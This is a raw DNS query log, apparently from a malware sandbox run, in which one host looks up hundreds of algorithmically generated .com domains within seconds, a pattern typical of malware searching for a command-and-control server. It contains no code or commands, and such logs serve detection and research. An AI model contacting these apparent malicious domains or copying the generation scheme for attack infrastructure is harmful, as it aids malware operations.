                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.168488979 CET192.168.2.41.1.1.10x8aa0Standard query (0)qexynyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.173305035 CET192.168.2.41.1.1.10xb9d1Standard query (0)qegysoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.177218914 CET192.168.2.41.1.1.10xc6fcStandard query (0)pufypiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.200731993 CET192.168.2.41.1.1.10x5fccStandard query (0)puvymul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.210377932 CET192.168.2.41.1.1.10x98e2Standard query (0)lykyfen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.211488008 CET192.168.2.41.1.1.10x1ddaStandard query (0)pumywaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.214339018 CET192.168.2.41.1.1.10x23f4Standard query (0)lymywaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.216780901 CET192.168.2.41.1.1.10x39aeStandard query (0)gahydoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.218128920 CET192.168.2.41.1.1.10xc8f7Standard query (0)lyvyjox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.218128920 CET192.168.2.41.1.1.10xe318Standard query (0)gatypub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.218916893 CET192.168.2.41.1.1.10x7a89Standard query (0)vopyzuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.219717979 CET192.168.2.41.1.1.10x9c7Standard query (0)qebyqil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.221045017 CET192.168.2.41.1.1.10xd9bdStandard query (0)gatyzys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.221745968 CET192.168.2.41.1.1.10x7f39Standard query (0)lyvymir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.223176956 CET192.168.2.41.1.1.10x3bd0Standard query (0)vojydam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.223963976 CET192.168.2.41.1.1.10x8f2Standard query (0)qetylyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.226480961 CET192.168.2.41.1.1.10x29c3Standard query (0)qetytug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.227214098 CET192.168.2.41.1.1.10xbfa4Standard query (0)vowykaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.227214098 CET192.168.2.41.1.1.10xd00bStandard query (0)pujybyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.227956057 CET192.168.2.41.1.1.10xb633Standard query (0)vojybek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.228590012 CET192.168.2.41.1.1.10x1fb8Standard query (0)lygysij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.228590012 CET192.168.2.41.1.1.10x4d8bStandard query (0)pujydag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.229264975 CET192.168.2.41.1.1.10xb358Standard query (0)gahyvew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.229264975 CET192.168.2.41.1.1.10xef56Standard query (0)puvyjop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.230123997 CET192.168.2.41.1.1.10xfb97Standard query (0)lyryled.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.230123997 CET192.168.2.41.1.1.10x7733Standard query (0)vopypif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.231551886 CET192.168.2.41.1.1.10x22d8Standard query (0)lykynyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.231678963 CET192.168.2.41.1.1.10x3310Standard query (0)ganykaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.233078957 CET192.168.2.41.1.1.10xe8e6Standard query (0)pupypiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.273194075 CET192.168.2.41.1.1.10xccd2Standard query (0)vocymut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.597212076 CET192.168.2.41.1.1.10xf10Standard query (0)lysysod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.647521019 CET192.168.2.41.1.1.10x95a7Standard query (0)qeqyreq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.686398029 CET192.168.2.41.1.1.10xcc4dStandard query (0)vofycot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.787611008 CET192.168.2.41.1.1.10xb10eStandard query (0)vocyjic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.822984934 CET192.168.2.41.1.1.10x5bcaStandard query (0)pufycol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.845411062 CET192.168.2.41.1.1.10x246bStandard query (0)vonyket.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.849194050 CET192.168.2.41.1.1.10x9489Standard query (0)qedyxip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.851188898 CET192.168.2.41.1.1.10x91a4Standard query (0)lysyxux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.851188898 CET192.168.2.41.1.1.10x7447Standard query (0)galyfyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.941015005 CET192.168.2.41.1.1.10x21dStandard query (0)gadyciz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.941829920 CET192.168.2.41.1.1.10x78ddStandard query (0)qekynuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.942128897 CET192.168.2.41.1.1.10x1829Standard query (0)gaqyreh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.942128897 CET192.168.2.41.1.1.10xb65Standard query (0)lyxygud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.942426920 CET192.168.2.41.1.1.10x46c7Standard query (0)qexyhuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.942603111 CET192.168.2.41.1.1.10x30cfStandard query (0)purytyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.942603111 CET192.168.2.41.1.1.10xa746Standard query (0)qegyval.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.949069977 CET192.168.2.41.1.1.10x7bStandard query (0)gacyhis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.949963093 CET192.168.2.41.1.1.10x8e4fStandard query (0)vowyrym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.950790882 CET192.168.2.41.1.1.10xb25aStandard query (0)puzyguv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.950790882 CET192.168.2.41.1.1.10x2c00Standard query (0)lyxynyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.960100889 CET192.168.2.41.1.1.10x169Standard query (0)lyrytun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.962409973 CET192.168.2.41.1.1.10x962cStandard query (0)gacynuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.962692976 CET192.168.2.41.1.1.10xafc5Standard query (0)ganyqow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.964653969 CET192.168.2.41.1.1.10xac13Standard query (0)vonyqok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.108596087 CET192.168.2.41.1.1.10xea66Standard query (0)lygyvar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.109196901 CET192.168.2.41.1.1.10xd556Standard query (0)qebykap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.109601974 CET192.168.2.41.1.1.10xba5eStandard query (0)qekyfeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.109828949 CET192.168.2.41.1.1.10xae16Standard query (0)pupyxup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.110029936 CET192.168.2.41.1.1.10x83acStandard query (0)volygyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.110188007 CET192.168.2.41.1.1.10x423fStandard query (0)pumylel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.110754013 CET192.168.2.41.1.1.10xdd2dStandard query (0)galynuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.121812105 CET192.168.2.41.1.1.10xe7e8Standard query (0)purylev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.121984959 CET192.168.2.41.1.1.10x29c1Standard query (0)qedysov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.725176096 CET192.168.2.41.1.1.10x28d8Standard query (0)ww16.vofycot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.339636087 CET192.168.2.41.1.1.10x8fe5Standard query (0)ww25.lyxynyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.722115993 CET192.168.2.41.1.1.10xe6a7Standard query (0)gacyvah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.724862099 CET192.168.2.41.1.1.10xf0b0Standard query (0)qetykol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.747575045 CET192.168.2.41.1.1.10xde7Standard query (0)puvybeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.750641108 CET192.168.2.41.1.1.10x7f74Standard query (0)puryjil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.786820889 CET192.168.2.41.1.1.10xb4f7Standard query (0)pujypup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.788378954 CET192.168.2.41.1.1.10x4e32Standard query (0)gatykow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.788659096 CET192.168.2.41.1.1.10x499aStandard query (0)qekysip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.792169094 CET192.168.2.41.1.1.10x916fStandard query (0)lyvynen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.837869883 CET192.168.2.41.1.1.10x3df9Standard query (0)qegytyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.856565952 CET192.168.2.41.1.1.10x8a59Standard query (0)galydoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.860091925 CET192.168.2.41.1.1.10x7790Standard query (0)pupylaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.863358021 CET192.168.2.41.1.1.10xb28fStandard query (0)ganynyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.864665031 CET192.168.2.41.1.1.10xacdStandard query (0)lykysix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.868033886 CET192.168.2.41.1.1.10x1c69Standard query (0)vocybam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.875715017 CET192.168.2.41.1.1.10xaf88Standard query (0)vopykak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.061448097 CET192.168.2.41.1.1.10xf39fStandard query (0)lymymud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.063585043 CET192.168.2.41.1.1.10x1d0aStandard query (0)lysylej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.065840006 CET192.168.2.41.1.1.10x1af0Standard query (0)lyrywax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.066834927 CET192.168.2.41.1.1.10x1e7aStandard query (0)qeqyqiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.067807913 CET192.168.2.41.1.1.10xfff7Standard query (0)vonymuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.068991899 CET192.168.2.41.1.1.10x1b5cStandard query (0)lyxyfar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.070573092 CET192.168.2.41.1.1.10xd2e4Standard query (0)qebynyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.080476999 CET192.168.2.41.1.1.10x25e8Standard query (0)pumymuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.082221985 CET192.168.2.41.1.1.10xe69bStandard query (0)puzydal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.082396984 CET192.168.2.41.1.1.10x2b62Standard query (0)vofyzym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.082470894 CET192.168.2.41.1.1.10xafe5Standard query (0)vowyqoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.082617998 CET192.168.2.41.1.1.10xbfcStandard query (0)qedyleq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.087171078 CET192.168.2.41.1.1.10xde0cStandard query (0)lymyjon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.096812963 CET192.168.2.41.1.1.10xbe8dStandard query (0)pumyjig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.098493099 CET192.168.2.41.1.1.10xdb44Standard query (0)lyryjir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.098656893 CET192.168.2.41.1.1.10x54b7Standard query (0)gahycib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.101815939 CET192.168.2.41.1.1.10x7fa2Standard query (0)puvygyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.102008104 CET192.168.2.41.1.1.10x5373Standard query (0)qekyvav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.102601051 CET192.168.2.41.1.1.10xe25Standard query (0)volybec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.102804899 CET192.168.2.41.1.1.10xb0c8Standard query (0)vofypuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.102818012 CET192.168.2.41.1.1.10x2d56Standard query (0)gahypus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.103128910 CET192.168.2.41.1.1.10x1dc3Standard query (0)vocygyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.103331089 CET192.168.2.41.1.1.10xca31Standard query (0)vonyjim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.108207941 CET192.168.2.41.1.1.10x15edStandard query (0)gaqyqis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.112838030 CET192.168.2.41.1.1.10x9378Standard query (0)vojycif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.118551016 CET192.168.2.41.1.1.10x314aStandard query (0)qetyrap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.119559050 CET192.168.2.41.1.1.10x3bcaStandard query (0)puzybep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.119785070 CET192.168.2.41.1.1.10xff35Standard query (0)pujycov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.119905949 CET192.168.2.41.1.1.10xcdd3Standard query (0)lyvyguj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.120059013 CET192.168.2.41.1.1.10x42e1Standard query (0)lykyvod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.120342016 CET192.168.2.41.1.1.10x7700Standard query (0)qebyhuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.120539904 CET192.168.2.41.1.1.10x3aeStandard query (0)vopyret.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.120620012 CET192.168.2.41.1.1.10x3aa4Standard query (0)pupytyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.120742083 CET192.168.2.41.1.1.10x627fStandard query (0)ganyhuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.120930910 CET192.168.2.41.1.1.10x4037Standard query (0)pufyxug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.121088028 CET192.168.2.41.1.1.10x131Standard query (0)gadyzyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.121654034 CET192.168.2.41.1.1.10x5f54Standard query (0)qexyfel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.121969938 CET192.168.2.41.1.1.10x8440Standard query (0)lygyxun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.122157097 CET192.168.2.41.1.1.10x605cStandard query (0)purywop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.122389078 CET192.168.2.41.1.1.10x56d2Standard query (0)vojypuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.123079062 CET192.168.2.41.1.1.10x9b1aStandard query (0)gatyrez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.123173952 CET192.168.2.41.1.1.10x7fd9Standard query (0)qegyxug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.124979019 CET192.168.2.41.1.1.10x83bfStandard query (0)volydot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.126713037 CET192.168.2.41.1.1.10xdb3dStandard query (0)qeqykog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.127046108 CET192.168.2.41.1.1.10x4ac0Standard query (0)qedytul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.130538940 CET192.168.2.41.1.1.10x8a39Standard query (0)galyvas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.132215977 CET192.168.2.41.1.1.10xf2a0Standard query (0)gadypuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.132567883 CET192.168.2.41.1.1.10xfd37Standard query (0)gacyfew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.140888929 CET192.168.2.41.1.1.10xe777Standard query (0)lysytyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.444262981 CET192.168.2.41.1.1.10xdf5Standard query (0)lygytyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.445084095 CET192.168.2.41.1.1.10xc436Standard query (0)qexyvoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.447303057 CET192.168.2.41.1.1.10x5c78Standard query (0)vowyjut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.449441910 CET192.168.2.41.1.1.10x2d84Standard query (0)gaqyhuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.449567080 CET192.168.2.41.1.1.10x6a8bStandard query (0)pufytev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.453505993 CET192.168.2.41.1.1.10x80edStandard query (0)puvycip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.454552889 CET192.168.2.41.1.1.10x9a6Standard query (0)pujyteq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.454974890 CET192.168.2.41.1.1.10x796bStandard query (0)lyvyvix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.457170010 CET192.168.2.41.1.1.10x6812Standard query (0)vojyrak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.457346916 CET192.168.2.41.1.1.10xef16Standard query (0)gatyhub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.466964006 CET192.168.2.41.1.1.10xc9a5Standard query (0)qebyvop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.467279911 CET192.168.2.41.1.1.10x4613Standard query (0)lykytej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.483680964 CET192.168.2.41.1.1.10xa57eStandard query (0)qetyhyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.484416008 CET192.168.2.41.1.1.10x99c1Standard query (0)pupyjuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.500786066 CET192.168.2.41.1.1.10x584eStandard query (0)puzypug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.515839100 CET192.168.2.41.1.1.10xa8cbStandard query (0)vocydof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.518316984 CET192.168.2.41.1.1.10xbfa6Standard query (0)gaqynyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.518587112 CET192.168.2.41.1.1.10x1bcdStandard query (0)lysywon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.518862963 CET192.168.2.41.1.1.10x7968Standard query (0)galycuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.519045115 CET192.168.2.41.1.1.10x3d3fStandard query (0)qedyrag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.519417048 CET192.168.2.41.1.1.10x1cc7Standard query (0)qeqyhup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.525119066 CET192.168.2.41.1.1.10xd4eeStandard query (0)vonygec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.525994062 CET192.168.2.41.1.1.10xaa39Standard query (0)pujyxyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.528459072 CET192.168.2.41.1.1.10x70b4Standard query (0)gacydib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.529062986 CET192.168.2.41.1.1.10x6843Standard query (0)gatyqih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.535881042 CET192.168.2.41.1.1.10x4fe1Standard query (0)gadyrab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.536351919 CET192.168.2.41.1.1.10xc3Standard query (0)lyxysun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.536823034 CET192.168.2.41.1.1.10xfe89Standard query (0)qebyfav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.536999941 CET192.168.2.41.1.1.10xb475Standard query (0)qekyxul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.537744999 CET192.168.2.41.1.1.10x2521Standard query (0)pumygyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.538187981 CET192.168.2.41.1.1.10x6a0cStandard query (0)qetyquq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.538451910 CET192.168.2.41.1.1.10x47c7Standard query (0)vofyref.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.538795948 CET192.168.2.41.1.1.10x16d4Standard query (0)volycik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.539318085 CET192.168.2.41.1.1.10x7acStandard query (0)puzyciq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.541801929 CET192.168.2.41.1.1.10x11e5Standard query (0)pupywog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.542016983 CET192.168.2.41.1.1.10x268eStandard query (0)lykyxur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.543961048 CET192.168.2.41.1.1.10x1d04Standard query (0)vofykoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.545278072 CET192.168.2.41.1.1.10xdd0bStandard query (0)lymygyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.549030066 CET192.168.2.41.1.1.10x6462Standard query (0)vopyqim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.583061934 CET192.168.2.41.1.1.10x2dcfStandard query (0)lyxyvoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.583208084 CET192.168.2.41.1.1.10x9f8eStandard query (0)lyvyfad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.583554983 CET192.168.2.41.1.1.10x180Standard query (0)ganyfes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.612457991 CET192.168.2.41.1.1.10x6d78Standard query (0)lyrymuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.612652063 CET192.168.2.41.1.1.10xca3aStandard query (0)puvydov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.613074064 CET192.168.2.41.1.1.10x9c8Standard query (0)vojyzyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.613442898 CET192.168.2.41.1.1.10x495Standard query (0)gahyzez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.613460064 CET192.168.2.41.1.1.10x37f3Standard query (0)galypyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.615386963 CET192.168.2.41.1.1.10x9c18Standard query (0)lygylax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.615505934 CET192.168.2.41.1.1.10x954aStandard query (0)vowymyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.615710020 CET192.168.2.41.1.1.10x1905Standard query (0)purymuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.615796089 CET192.168.2.41.1.1.10xf2eStandard query (0)pufylap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.615879059 CET192.168.2.41.1.1.10x5908Standard query (0)qeqynel.comA (IP address)IN (0x0001)false
